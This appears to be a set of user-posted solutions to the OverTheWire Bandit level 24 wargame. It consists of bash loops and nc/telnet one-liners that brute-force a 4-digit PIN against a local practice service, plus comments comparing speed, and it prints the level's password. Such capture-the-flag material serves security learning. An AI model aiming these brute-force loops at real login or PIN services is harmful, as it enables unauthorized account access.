4 digit pin bruteforce using Bash expansions for Over The Wire bandit25

bandit24-solution

for x in {0..9}{0..9}{0..9}{0..9}; do
  echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $x | telnet localhost 30002 | egrep -v  "Exiting|Wrong|I am";
  echo "Try $x"; 
done

oneliner: for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -v "I am the pincode" | grep -v "Exiting." | grep -v "Wrong"; done

seq -f %04g 10000 | xargs printf "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ %s\n" | nc localhost 30002 | grep bandit25

Fieel's answer is by far the best.
I combined all of the steps into a single script with 2 second sleeps between the major steps and I got the password much faster than some of the other solutions. It is interesting that netcat can handle so many attempts at once. It's almost like it was designed for brute forcing...
I guess I could have actually made the txt files from inside the script and made them writable as well to improve on the script.

for a in {0..9}{0..9}{0..9}{0..9}; do
echo $passwd' '$a >> combinations.txt
done
sleep 2.0
cat combinations.txt | nc localhost 30002 >> result.txt
sleep 2.0
sort result.txt | uniq -u